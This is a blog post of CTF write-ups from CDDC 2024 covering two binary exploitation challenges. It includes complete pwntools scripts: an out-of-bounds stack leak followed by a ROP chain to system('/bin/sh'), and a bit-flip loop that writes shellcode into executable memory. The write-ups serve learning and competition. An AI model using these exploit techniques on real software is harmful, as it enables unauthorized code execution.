Post

Cyber Defender's Discovery Camp 2024 Finals

I competed with NUS Greyhats in BrainHack CDDC 2024 Finals and we came out first ✌️

nus greyhats! nus greyhats at cddc!

Here are some brief writeups on some of the tasks I solved/attempted

Pwn - SecretNote

From reversing the program in IDA, we can get a nice looking source code similar to this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int main()
{
  int opt;
  unsigned int pg;
  int i;
  struct chunk s[32];
  unsigned __int64 canary;

  while ( &s[24].buf[128] != (char *)&s[1] ) // seems to be allocating space on stack
    ;
  canary = __readfsqword(0x28u);
  print_stuff();
  setbuf_stuff();
  memset(s, 0, sizeof(s));
  opt = 0;
  pg = 0;
  for ( i = 0; i <= 31; ++i )
  {
    printf("[>] Input your name : ");
    read(0, &s[i], 0x10uLL);
    if ( !strcmp(s[i].name, "CDDC\n") )
    {
      print_menu();
      scanf("%d", &opt);
      if ( opt == 1 )
      {
        printf("[>] Read page : ");
        scanf("%d", &pg);
        printf("[*] %d page contents\n", pg);
        printf("[*] Name: %s\n", s[pg].name);
        printf("[*] Note: %s\n", s[pg].buf);
      }
      else if ( opt == 2 )
      {
        printf("[>] Edit page : ");
        scanf("%d", &pg);
        printf("[>] New note : ");
        read(0, s[pg].buf, (unsigned int)nbytes);
      }
    }
    else
    {
      printf("[>] Input your note : ");
      read(0, s[i].buf, (unsigned int)nbytes);
      puts(s[i].name);
      puts(s[i].buf);
    }
  }
  return 0LL;
}
  1. If our name is CDDC, we get access to an admin panel that allows us to read and write to some pages.
  2. The program reads an index from the user to decide which page to read and write from. This index is not bounded!!!

Since we have an out-of-bounds read on the stack, we can trivially get a LIBC leak.

With the leak, we can write a ROP-chain with our out-of-bounds write.

Getting a LIBC leak

In order to get a better understanding of where our OOB read/write is, we can use GDB to set a breakpoint at 0x4015A2 (line 38 in the code block above).

There are 32 pages in total, so we can provide a page number of 32 to write to the 33rd page (OOB write).

1
2
3
4
5
6
7
[>] Input your name : CDDC
[*] Welcome ADMIN!
[*] Select Mode.
[1] Read
[2] Edit
[>] 2
[>] Edit page : 32

In GDB, we will see this when we hit the breakpoint

1
2
3
4
 ► 0x4015a2    call   read@plt                      <read@plt>
        fd: 0x0 (/dev/pts/2)
        buf: 0x7fffffffd9f0 ◂— 0x1
        nbytes: 0x200

We now know that we are able to do OOB read/write at 0x7fffffffd9f0. We can inspect the adjacent memory to see if there are any important pointers for us.

1
2
3
pwndbg> tele $rsi
00:0000│ rsi rbp 0x7fffffffd9f0 ◂— 0x1
01:0008│+008     0x7fffffffd9f8 —▸ 0x7ffff7dadd90 (__libc_start_call_main+128) ◂— mov edi, eax

As you can see, there is a libc address 8-bytes into our buffer. We can leak this by writing exactly 8 bytes (and thus overwriting the NULL terminators) to the chunks, and then printing from it.

This will result in the libc address being printed together with our 8-byte input.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

p = process("./SecretNote")

# write exactly 8 bytes to buffer
p.sendlineafter(b"name : ", b"CDDC")
p.sendlineafter(b"[>]", b"2")
p.sendlineafter(b"page : ", b"32")
p.sendafter(b"note : ", b"a"*8)

# read buffer (8 bytes + libc address)
p.sendlineafter(b"name : ", b"CDDC")
p.sendlineafter(b"[>]", b"1")
p.sendlineafter(b"page : ", b"32")
p.recvuntil(b"Note: aaaaaaaa")

# print leak
libc_leak = unpack(p.recvline()[:-1], "all")
log.info(f"libc leak @ {hex(libc_leak)}")
# [*] libc leak @ 0x7d01d3064d90

p.interactive()

Identifying the remote LIBC

If we run the script above on the server, we can use the address 0x7d01d3064d90 to identify possible GLIBC versions that the server might be running.

By either using libc.rip or your own self-hosted libc database, we can search up the address and the symbol name to get the shell.

1
2
3
4
5
6
7
8
9
10
11
❯ ./find __libc_start_main_ret 0x7d01d3064d90
launchpad-ubuntu-glibc-jammy (libc6_2.35-0ubuntu1_amd64)
launchpad-ubuntu-glibc-jammy (libc6_2.35-0ubuntu3.1_amd64)
launchpad-ubuntu-glibc-jammy (libc6_2.35-0ubuntu3.2_amd64)
launchpad-ubuntu-glibc-jammy (libc6_2.35-0ubuntu3.3_amd64)
launchpad-ubuntu-glibc-jammy (libc6_2.35-0ubuntu3.4_amd64)
launchpad-ubuntu-glibc-jammy (libc6_2.35-0ubuntu3.5_amd64)
ubuntu-glibc (libc6_2.35-0ubuntu3.6_amd64)
launchpad-ubuntu-glibc-jammy (libc6_2.35-0ubuntu3.7_amd64)
ubuntu-glibc (libc6_2.35-0ubuntu3.8_amd64)
ubuntu-glibc (libc6_2.35-0ubuntu3_amd64)

Typically when you see a return address of main that is some offset of libc_start_main, it can be used to do a libc search with the symbol __libc_start_main_ret.

Finally, you can either download the libc and do pwninit or patchelf to patch the program to use the remote glibc.

This will ensure that your environment is almost identical to the server and that the offsets will be the same.

Popping a SHELL

Conveniently, the libc address we just read from is also the return address of the main function! (feel free to verify this yourself in GDB)!

If we overwrite this with a ROP chain to call system('/bin/sh'), we win!

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

context.binary = elf = ELF("./SecretNote")
libc = elf.libc
p = process("./SecretNote")

# fill 8 bytes between start of page->buf and return address of main
p.sendlineafter(b"name : ", b"CDDC")
p.sendlineafter(b"[>]", b"2")
p.sendlineafter(b"page : ", b"32")
p.sendafter(b"note : ", b"a"*8)

# leak the return address of main
p.sendlineafter(b"name : ", b"CDDC")
p.sendlineafter(b"[>]", b"1")
p.sendlineafter(b"page : ", b"32")
p.recvline()
p.recvline()
libc.address = unpack(p.recvline()[18:][:-1], "all") - 171408

# we prepare our ROP chain to call system("/bin/sh")
r = ROP(libc)
r.call(r.ret)
r.system(next(libc.search(b"/bin/sh")))

# we overwrite return address with our ROP chain
p.sendlineafter(b"name : ", b"CDDC")
p.sendlineafter(b"[>]", b"2")
p.sendlineafter(b"page : ", b"32")
p.sendafter(b"note : ", b"a"*8 + r.chain())

# we exhaust the remaining writes so the program will return
for i in range(32-3):
    p.sendlineafter(b"name : ", b"asd")
    p.sendlineafter(b"note : ", b"asd")

p.interactive()

Pwn - Blind Butterfly

We are provided with the source code, but not the program (i still don’t understand the point of not releasing the program…).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// gcc -O2 -o butterfly butterfly.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/mman.h>

void initialize(void) {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
}

int main(int argc, char* argv[]) {

    uint64_t addr, bits;
    char buf[256];

    initialize();

    printf("[+] Welcome to Bit Flip Service!\n");
    printf("[+] main address : %p\n", main);
    printf("[+] stack address : %p\n", &addr);

    int ret = mprotect((void *)((uint64_t)(main) & 0xfffffffffffff000), 0x1000, 7);
    if (ret != 0) {
        perror("[-] mprotect error!\n");
        return -1;
    }

    if ( fgets(buf, 0x100, stdin) != 0 ) {
        bits    = strtol(buf, 0, 0);
        addr    = (bits >> 3);
        *(char *)addr ^= 1<<(bits%8);
        printf("[+] flip : %p, %ld\n", (uint64_t *)addr, (bits%8));
        ret = 0;
    }
    else {
        perror("[-] Bad input!\n");
        ret = -1;
    }
    printf("[+] Good bye!\n");

    return ret;
}

There’s only a few important points here

  1. Program turns ELF .text to writable
  2. Program does a single bit flip on any specified address, then returns

Expanding our primitive

Naturally, one bit-flip is an extremely cosntrained restriction.

Ideally, we should find a way to expand our primitives to do more bit-flips and eventually write shellcode.

They provided us with the command used to compile the program: gcc -O2 -o butterfly butterfly.c -no-pie.

I used the same command to compile my own program, to look through the disassembly and find any interesting bits that I can flip to do more things.

1
2
3
4
5
.text:000000000040123D                 add     rsp, 128h
.text:0000000000401244                 mov     eax, r12d
.text:0000000000401247                 pop     rbp
.text:0000000000401248                 pop     r12
.text:000000000040124A                 retn

This is the function epilogue for the main function, where it destroys the stack frame of the function and return to it’s caller.

If we are able to flip the bit to modify add rsp, 0x128 into add rsp, 0x28, the stack frame will not be properly destroyed, and the stack will be pointing to our buffer instead of the original return address.

This allows us to do a ROP chain in our input buffer to loop back to main.

Here’s a proof-of-concept:

1
2
3
4
5
6
7
8
9
10
from pwn import *

context.binary = elf = ELF("./butterfly")
p = process("./butterfly")

payload = str((0x401241 << 3)+0x0).encode()
payload += b"\x00"*32
payload += p64(0x42424242)  # program will crash at RIP=0x42424242

p.sendline(payload)

Getting a SHELL

After flipping the bit to allow us to repeatedly ROP back to main, we need to still find a way to get a shell.

We can simply use our infinite bit-flips to craft a shellcode in memory and execute it.

Solution

This solve script works locally on my own compiled program.

In order to get it to work on remote, you will need to brute force to find:

  1. RET gadget
  2. address of add RSP, 0x128 instruction
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

context.binary = elf = ELF("./butterfly")
p = process("./butterfly")

# bitflip `add rsp, 0x128` -> `add rsp, 0x28`
payload = str((0x401240 << 3)+0x8).encode()
payload += b"\x00"*32
payload += p64(0x40124a)
payload += p64(elf.sym.main)
p.sendline(payload)


# craft our shellcode at 0x401e00
sc = asm(shellcraft.sh())
for i in range(len(sc)*8):
    if (sc[i//8] >> (i % 8)) & 0x1 == 0x1:
        payload2 = str(((0x401e00 + i//8) << 3)+((i % 8))).encode()
        payload2 += b"\x00"*32
        payload2 += p64(0x40124a)
        payload2 += p64(elf.sym.main)


        p.sendline(payload2)

# the bit flip here is irrelevant, we just want to
# execute our shellcode!
payload2 = str((0x401ff0 << 3)+((i % 8))).encode()
payload2 += b"\x00"*32
payload2 += p64(0x401e00)

p.sendline(payload2)

gdb.attach(p)

p.interactive()
This post is licensed under CC BY 4.0 by the author.

Trending Tags